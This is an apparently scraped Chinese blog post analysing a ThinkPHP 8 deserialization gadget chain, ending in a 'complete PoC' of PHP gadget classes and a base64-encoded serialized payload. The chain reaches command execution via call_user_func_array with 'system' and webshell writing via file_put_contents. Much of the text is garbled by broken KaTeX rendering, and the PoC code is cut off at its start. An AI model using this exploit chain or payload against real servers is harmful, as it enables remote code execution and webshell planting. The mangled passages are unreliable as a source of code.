反序列化链1
分析过程
Thinkphp8 反序列化调用链从ResourceRegister#__destruct()开始,最终调用到Validate#is()下,该方法下存在一个call_user_func_array()可供我们调用执行命令
反序列化链的起点在ResourceRegister#__destruct()下,其中 r e g i s t e r e d 初始化值为 f a l s e ,可以调用到 registered初始化值为false,可以调用到 registered初始化值为false,可以调用到this->register(),在register下由于 t h i s − > r e s o u r c e 可控,所以我们可以构造 this->resource可控,所以我们可以构造 this−>resource可控,所以我们可以构造this->resource = new Resource(),Resource类下存在一个parseGroupRule方法。
public function __destruct()
{
if (!$this->registered) {
KaTeX parse error: Expected 'EOF', got '}' at position 23: …egister(); }̲ } ![在这里插入图片描述]…this->resource->getRule(),在该方法里面返回的是$this->rule的内容,该值是可控的
public function getRule()
{
return KaTeX parse error: Expected 'EOF', got '}' at position 13: this->rule; }̲ 在parseGroupRul…rule中是否包含".",如果条件成立的话会进入到if语句中,接着会通过explode函数以“.”为分隔符划分$rule,接着进入到foreach中进行拼接字符串。
由于 o p t i o n = option= option=this->options,所以 o p t i o n s 数组是可控的,在 f o r e a c h 语句中,代码将 options数组是可控的,在foreach语句中,代码将 options数组是可控的,在foreach语句中,代码将val的内容和 o p t i o n [ ′ v a r ′ ] [ option['var'][ option[′var′][val]拼接起来,如果 o p t i o n [ ′ v a r ′ ] [ option['var'][ option[′var′][val]的值可控且是一个对象的时候,会调用到该对象的__toString(),这里需要利用到的对象是Conversion类的__toString()
可以构造 r u l e 的值为 " 1.1 " , rule的值为"1.1", rule的值为"1.1",this->option=[“var”=>[“1”=>new Conversion()]],那么当执行到字符串拼接部分的代码时,就会调用到Conversion类的__toString方法。
由于这里Conversion类的类型为trait,是不可以通过new Conversion()的形式实例化成一个对象的,所以这里需要用到Pivot类,该类继承自Model类,而Model类下使用到了model\concern\Conversion
在Conversion#toString()中先调用$this->toJson(),接着按照下面的调用栈,跟进到appendAttrToArray()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Conversion#appendAttrToArray()
在appendAttrToArray()中通过is_array()来判断
n
a
m
e
是否是数组,这里的
name是否是数组,这里的
name是否是数组,这里的key和
n
a
m
e
的值通过
name的值通过
name的值通过this->append得到
t h i s − > a p p e n d = [ " t e s t " = > [ ] ] / / 根据要求构造了 this->append = ["test"=>[]] //根据要求构造了 this−>append=["test"=>[]]//根据要求构造了this->append的值
foreach ($this->append as $key => $name) {
t
h
i
s
−
>
a
p
p
e
n
d
A
t
t
r
T
o
A
r
r
a
y
(
this->appendAttrToArray(
this−>appendAttrToArray(item, $key, $name, $visible, KaTeX parse error: Expected 'EOF', got '}' at position 10: hidden); }̲ 接着进入到this->getRelationWith()中,在Validate类的__call魔术方法中,使用到了call_user_func_array(),通过call_user_func_array()可以构造命令执行,所以我们的反序列链需要调用到Validate#__call()
这里需要令 r e l a t i o n 的值为 V a l i d a t e 对象,那么当程序执行到 relation的值为Validate对象,那么当程序执行到 relation的值为Validate对象,那么当程序执行到relation->hidden()时,由于Validate对象中并不存在hidden()方法,就会调用该对象里的__call()魔术方法。
而进入到
r
e
l
a
t
i
o
n
−
>
h
i
d
d
e
n
(
)
的条件是
relation->hidden()的条件是
relation−>hidden()的条件是hidden[
k
e
y
]
必须存在,
key]必须存在,
key]必须存在,hidden[
k
e
y
]
是可控的,所以先进入到
key]是可控的,所以先进入到
key]是可控的,所以先进入到this->getRelation()中看看如何令
t
h
i
s
−
>
g
e
t
R
e
l
a
t
i
o
n
(
)
的返回值
this->getRelation()的返回值
this−>getRelation()的返回值relation为Validate对象
这里我们利用return
t
h
i
s
−
>
r
e
l
a
t
i
o
n
[
this->relation[
this−>relation[name]来返回我们的Validate对象。因为这里
n
a
m
e
参数实际上就是传递进来的
name参数实际上就是传递进来的
name参数实际上就是传递进来的this->append的
k
e
y
,
key,
key,this->relation的内容可控,这样返回的
t
h
i
s
−
>
r
e
l
a
t
i
o
n
[
this->relation[
this−>relation[name]就是new Validate()了
$this->append = [“test”=>[]]
t
h
i
s
−
>
this->
this−>relation = [“test”=>new Validate()]
得到了
r
e
l
a
t
i
o
n
之后,执行到
relation之后,执行到
relation之后,执行到relation->hidden(
h
i
d
d
e
n
[
hidden[
hidden[key])时,就会调用到Validate#__call(),参数是
h
i
d
d
e
n
[
hidden[
hidden[key]
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (isset(visible[$key])) {
r
e
l
a
t
i
o
n
−
>
v
i
s
i
b
l
e
(
relation->visible(
relation−>visible(visible[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]); }̲ elseif (isset(hidden[$key])) {
r
e
l
a
t
i
o
n
−
>
h
i
d
d
e
n
(
relation->hidden(
relation−>hidden(hidden[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]); }̲ } 跟进到Validate#…this, ‘is’],
a
r
g
s
)
调用到该类下的
i
s
(
)
方法,可以看到在
c
a
l
l
u
s
e
r
f
u
n
c
a
r
r
a
y
(
)
调用的回调函数是
args) 调用到该类下的is()方法,可以看到在call_user_func_array()调用的回调函数是
args)调用到该类下的is()方法,可以看到在calluserfuncarray()调用的回调函数是this->type[
r
u
l
e
]
,这里
rule],这里
rule],这里rule的值为hidden,
v
a
l
u
e
就是
value就是
value就是hidden[$key]
t h i s − > t y p e = [ " h i d d e n " = > " s y s t e m " ] / / 通过 this->type = ["hidden"=>"system"] //通过 this−>type=["hidden"=>"system"]//通过this->type[$rule]得到回调函数system
参数
[
v
a
l
u
e
]
这里有一个坑,当使用
c
a
l
l
u
s
e
r
f
u
n
c
a
r
r
a
y
(
)
时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到
[
[value]这里有一个坑,当使用call_user_func_array()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[
[value]这里有一个坑,当使用calluserfuncarray()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[value]里,所以这里call_user_func_array(“system”, [
v
a
l
u
e
]
)
只能接收一个字符串参数
value])只能接收一个字符串参数
value])只能接收一个字符串参数value
通过上面的分析我们已经知道
v
a
l
u
e
的值是通过
value的值是通过
value的值是通过hidden[
k
e
y
]
得到的,实际上
key]得到的,实际上
key]得到的,实际上hidden[$key]的值是一个数组,所以这里导致参数变成了[[“whoami”]]这种形式
KaTeX parse error: Expected 'EOF', got '#' at position 18: …dden从Conversion#̲toArray()中得到,如果…this->hidden=[“test”=>“whoami”]的形式,那么程序就会进入到
h
i
d
d
e
n
[
hidden[
hidden[val]=true,得到的$hidden=[“whoami”=>“true”]。
foreach ($this->hidden as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_string(val)) {
if (str_contains(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ [relation, $name] = explode(‘.’, $val);
h
i
d
d
e
n
[
hidden[
hidden[relation][] = $name;
} else {
h
i
d
d
e
n
[
hidden[
hidden[val] = true;
}
} else {
h
i
d
d
e
n
[
hidden[
hidden[key] = KaTeX parse error: Expected 'EOF', got '}' at position 10: val; }̲ } 所以我们需要一个类将参数…this->value,$this->value可控,所以我们可以构造所需的类。当程序执行到call_user_func_array(“system”, [new ConstStub()])时就会调用ConstStub的魔法方法__toString()返回一个字符串calc
$this->hidden = [“test”=> new ConstStub()]
namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = “calc”;
}
}
在getValue()中,跟进
t
h
i
s
−
>
g
e
t
R
e
a
l
F
i
e
l
d
N
a
m
e
(
)
可以看到返回值是可控的,接着会判断
this->getRealFieldName()可以看到返回值是可控的,接着会判断
this−>getRealFieldName()可以看到返回值是可控的,接着会判断this->get中是否存在
f
i
e
l
d
N
a
m
e
的键值,这里的
fieldName的键值,这里的
fieldName的键值,这里的this->get是可控的
跟进到getJsonValue()中,可以看到在568行可以通过
c
l
o
s
u
r
e
(
closure(
closure(value[
k
e
y
]
,
key],
key],value),参数全都是可控的,就可以通过file_put_contents去写入webshell
在代码中添加一个反序列化的入口点,执行反序列化之后可以看到在网站public目录下会生成一个webshell文件
反序列化调用链
ResourceRegister#__destruct()
ResourceRegister#__register()
Resource#__parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Attribute#getAttr()
Attribute#getValue()
Attribute#getJsonValue()
完整poc
$this->visible = ["test"=>"test"];
$this->json = ["test"=>"test"];
$this->withAttr = ["test"=>["test"=>"file_put_contents"]];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\model\Pivot;
class Rule {
protected $rule;
protected $option;
public function __construct() {
$this->rule = “1.1”;
$this->option = [“var”=>[“1”=>new Pivot()]];
}
}
class RuleGroup extends Rule {
public function __construct() {
parent::__construct();
}
}
class Resource extends RuleGroup {
public function __construct() {
parent::__construct();
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
}
namespace {
KaTeX parse error: Undefined control sequence: \route at position 16: obj = new think\̲r̲o̲u̲t̲e̲\ResourceRegist…obj));
}
/*
TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoiMS4xIjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntpOjE7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoidGVzdCI7YToyOntzOjQ6InRlc3QiO3M6MTI6Imtha2F4c3hzLnBocCI7czo1OiJ0ZXN0MiI7czoxNzoiPD9waHAgcGhwaW5mbygpPz4iO319czoxMDoiACoAdmlzaWJsZSI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MTI6IgAqAGpzb25Bc3NvYyI7YjoxO3M6NzoiACoAanNvbiI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjQ6InRlc3QiO2E6MTp7czo0OiJ0ZXN0IjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fX19fX19fQ==
*/